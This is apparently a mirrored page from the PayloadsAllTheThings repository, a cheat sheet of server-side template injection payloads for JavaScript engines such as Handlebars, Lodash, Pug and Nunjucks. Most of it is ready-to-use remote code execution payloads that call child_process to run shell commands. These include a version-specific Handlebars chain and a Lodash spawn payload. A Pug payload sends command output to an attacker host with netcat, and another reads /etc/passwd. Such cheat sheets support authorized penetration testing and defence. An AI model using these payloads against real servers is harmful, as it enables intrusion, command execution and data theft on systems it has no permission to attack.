javascript.md (5862B)
1 --- 2 title: "Server Side Template Injection - JavaScript" 3 topic: "Server Side Template Injection" 4 topicSlug: "server-side-template-injection" 5 sourcePath: "Server Side Template Injection/JavaScript.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Server%20Side%20Template%20Injection/JavaScript.md" 7 sha: "3ac27901c711" 8 isReadme: false 9 --- 10 11 # Server Side Template Injection - JavaScript 12 13 > Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization. 14 15 ## Summary 16 17 - [Templating Libraries](#templating-libraries) 18 - [Universal Payloads](#universal-payloads) 19 - [Handlebars](#handlebars) 20 - [Handlebars - Basic Injection](#handlebars---basic-injection) 21 - [Handlebars - Command Execution](#handlebars---command-execution) 22 - [Lodash](#lodash) 23 - [Lodash - Basic Injection](#lodash---basic-injection) 24 - [Lodash - Command Execution](#lodash---command-execution) 25 - [Pug](#pug) 26 - [References](#references) 27 28 ## Templating Libraries 29 30 | Template Name | Payload Format | 31 |---------------|------------------| 32 | DotJS | `{{= }}` | 33 | DustJS | `{ }` | 34 | EJS | `<% %>` | 35 | HandlebarsJS | `{{ }}` | 36 | HoganJS | `{{ }}` | 37 | Lodash | `{{= }}` | 38 | MustacheJS | `{{ }}` | 39 | NunjucksJS | `{{ }}` | 40 | PugJS | `#{ }` | 41 | TwigJS | `{{ }}` | 42 | UnderscoreJS | `<% %>` | 43 | VelocityJS | `#=set($X="")$X` | 44 | VueJS | `{{ }}` | 45 46 ## Universal Payloads 47 48 Generic code injection payloads work for many NodeJS-based template engines, such as DotJS, EJS, PugJS, UnderscoreJS and Eta. 49 50 To use these payloads, wrap them in the appropriate tag. 51 52 ```javascript 53 // Rendered RCE 54 global.process.mainModule.require("child_process").execSync("id").toString() 55 56 // Error-Based RCE 57 global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString()) 58 ""["x"][global.process.mainModule.require("child_process").execSync("id").toString()] 59 60 // Boolean-Based RCE 61 [""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"] 62 63 // Time-Based RCE 64 global.process.mainModule.require("child_process").execSync("id && sleep 5").toString() 65 ``` 66 67 NunjucksJS is also capable of executing these payloads using `{{range.constructor(' ... ')()}}`. 68 69 ## Handlebars 70 71 [Official website](https://handlebarsjs.com/) 72 > Handlebars compiles templates into JavaScript functions. 73 74 ### Handlebars - Basic Injection 75 76 ```js 77 {{this}} 78 {{self}} 79 ``` 80 81 ### Handlebars - Command Execution 82 83 This payload only work in handlebars versions, fixed in [GHSA-q42p-pg8m-cqh6](https://github.com/advisories/GHSA-q42p-pg8m-cqh6): 84 85 - `>= 4.1.0`, `< 4.1.2` 86 - `>= 4.0.0`, `< 4.0.14` 87 - `< 3.0.7` 88 89 ```handlebars 90 {{#with "s" as |string|}} 91 {{#with "e"}} 92 {{#with split as |conslist|}} 93 {{this.pop}} 94 {{this.push (lookup string.sub "constructor")}} 95 {{this.pop}} 96 {{#with string.split as |codelist|}} 97 {{this.pop}} 98 {{this.push "return require('child_process').execSync('ls -la');"}} 99 {{this.pop}} 100 {{#each conslist}} 101 {{#with (string.sub.apply 0 codelist)}} 102 {{this}} 103 {{/with}} 104 {{/each}} 105 {{/with}} 106 {{/with}} 107 {{/with}} 108 {{/with}} 109 ``` 110 111 --- 112 113 ## Lodash 114 115 [Official website](https://lodash.com/docs/4.17.15) 116 > A modern JavaScript utility library delivering modularity, performance & extras. 117 118 ### Lodash - Basic Injection 119 120 How to create a template: 121 122 ```javascript 123 const _ = require('lodash'); 124 string = "{{= username}}" 125 const options = { 126 evaluate: /\{\{(.+?)\}\}/g, 127 interpolate: /\{\{=(.+?)\}\}/g, 128 escape: /\{\{-(.+?)\}\}/g, 129 }; 130 131 _.template(string, options); 132 ``` 133 134 - **string:** The template string. 135 - **options.interpolate:** It is a regular expression that specifies the HTML *interpolate* delimiter. 136 - **options.evaluate:** It is a regular expression that specifies the HTML *evaluate* delimiter. 137 - **options.escape:** It is a regular expression that specifies the HTML *escape* delimiter. 138 139 For the purpose of RCE, the delimiter of templates is determined by the **options.evaluate** parameter. 140 141 ```javascript 142 {{= _.VERSION}} 143 ${= _.VERSION} 144 <%= _.VERSION %> 145 146 147 {{= _.templateSettings.evaluate }} 148 ${= _.VERSION} 149 <%= _.VERSION %> 150 ``` 151 152 ### Lodash - Command Execution 153 154 ```js 155 {{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}} 156 ``` 157 158 --- 159 160 ## Pug 161 162 > Universal payloads also work for Pug. 163 164 [Official website](https://pugjs.org/api/getting-started.html) 165 > 166 167 ```javascript 168 - var x = root.process 169 - x = x.mainModule.require 170 - x = x('child_process') 171 = x.exec('id | nc attacker.net 80') 172 ``` 173 174 ```javascript 175 #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} 176 ``` 177 178 ## References 179 180 - [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/) 181 - [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://web.archive.org/web/20260207143828/https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) 182 - [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 3, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)